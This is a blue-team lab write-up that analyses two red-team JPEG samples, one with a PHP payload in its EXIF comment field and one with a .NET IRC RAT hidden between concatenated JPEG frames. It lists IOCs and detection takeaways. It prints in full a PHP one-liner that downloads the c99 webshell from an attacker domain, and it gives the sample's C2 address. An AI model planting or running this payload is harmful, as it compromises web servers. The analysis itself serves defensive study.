Photo

Scenario

As part of researching different security control bypassing techniques, the red team provided two JPEG samples to the blue team to study and understand the behaviour. S1 indicates Sample1 (totamtoWithShell.jpg), S2 indicates Sample2 (malware.jpg).

Methodology

S1 — totamtoWithShell.jpg

Initial Triage

file confirms a standard JPEG with EXIF data — the EXIF description field immediately flags the sample:

file totamtoWithShell.jpg
# JPEG image data, JFIF standard 1.01, Exif Standard: [description=TomatoReverseShell, copyright=TomatoGang]

EXIF Analysis

jpegdump.py and exiftool surface the full metadata:

exiftool totamtoWithShell.jpg

The XP Comment field contains the full PHP payload:

<?php ob_clean(); system("lynx -source http://c0deblocker.alterxp.org/sauce.txt > cshell.php"); die(); ?>

This one-liner uses lynx to download sauce.txt from the attacker’s domain and write it to cshell.php — deploying the c99 webshell. The download URL, scripting language, and webshell name are all recoverable from EXIF alone without any execution or decryption.

The AES-256-CBC encrypted PHP function elsewhere in the shell (e7061) uses hardcoded key and IV 1234567891234567 — trivially weak but a red herring for answering the lab questions. All answers for S1 are in the EXIF metadata.

S2 — malware.jpg

Initial Triage

file shows a plain JPEG with no EXIF anomalies — no metadata flags this sample:

file malware.jpg
# JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, progressive, 2304x3456

JPEG Structure Analysis

Running jpegdump.py with MD5 hashing reveals the file is not a single JPEG — it contains three concatenated JPEG images:

python3 jpegdump.py -E md5 malware.jpg

Three SOI (FFD8) and EOI (FFD9) markers are present. Critically, the d= value (delta — bytes between segments) for the second SOI is non-zero, indicating data exists between the first EOI and the second SOI. This is the James Webb Space Telescope malware technique documented by Didier Stevens at SANS ISC — malware authors concatenate JPEG + payload + JPEG + JPEG to hide a PE inside a fake PEM certificate block between image boundaries.

Payload Extraction

ref: https://isc.sans.edu/diary/James+Webb+JPEG+With+Malware/29010

The hidden data between the first EOI and second SOI is extracted:

python3 jpegdump.py malware.jpg -s 29d -d > malware.crt

The output is a PEM-format certificate block — but the base64 data starts with TV instead of the valid certificate prefix M, indicating the decoded content begins with MZ — the PE magic bytes.

The PE is extracted by stripping the PEM headers and base64 decoding:

import base64
data = open('malware.crt').read()
lines = [l for l in data.splitlines() if not l.startswith('-----')]
pe = base64.b64decode(''.join(lines))
open('malware.exe','wb').write(pe)
# PE size: 18944 bytes — Magic: b'MZ' confirmed

Malware Analysis

The extracted PE is a .NET assembly (mscoree.dll, MyApplication.app manifest). Standard strings is insufficient for .NET — the meaningful strings are in the metadata heap. cat on the raw binary surfaces the version info block and embedded strings:

cat malware.exe

Key findings from the binary:

OriginalFilename: vxtnt1tn.exe
C2: 46.101.166.191:6667
Process masquerade: igfxTray (Intel Graphics Tray — legitimate Intel Corporation process)

Port 6667 is the default IRC port — this is an IRC-based RAT using igfxTray as a process name to masquerade as a legitimate Intel graphics component.

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

EXIF metadata as a payload carrier — JPEG EXIF fields accept arbitrary text and are rarely inspected by security controls. The XP Comment field in S1 contained a fully functional PHP execution chain. File upload controls that validate MIME type and extension without inspecting metadata can be trivially bypassed. Deep inspection of EXIF fields — particularly Comment, Description, and custom XMP fields — should be part of any file upload security control.

JPEG polyglot steganography — S2 demonstrates the James Webb technique: a valid JPEG remains fully renderable while carrying an arbitrary payload in the gap between concatenated image boundaries. Antivirus scanners that parse only the first JPEG frame will miss content appended after the first EOI. Detection requires full file parsing with tools like jpegdump.py that flag non-zero delta values between segments and multiple SOI/EOI pairs.

PEM certificate spoofing as a delivery mechanism — The PE was wrapped in a fake PEM certificate block, exploiting the trust associated with certificate files. A valid certificate’s base64 data begins with M; data beginning with TV (decoded MZ) is a PE. Inspecting certificate files for PE magic bytes is a practical detection rule for this technique.

IRC as a C2 protocol — Port 6667 IRC traffic from endpoints that have no business need for IRC should be treated as a high-confidence C2 indicator. IRC-based RATs are a well-established technique that predates HTTP-based C2 — legacy protocol monitoring is still relevant.

Process name masquerading — igfxTray.exe is a legitimate Intel Graphics Tray process. Verifying process image path (legitimate igfxTray.exe lives in C:\Windows\System32\) against process name is a simple but effective detection. Any igfxTray.exe running from an unexpected path is malicious.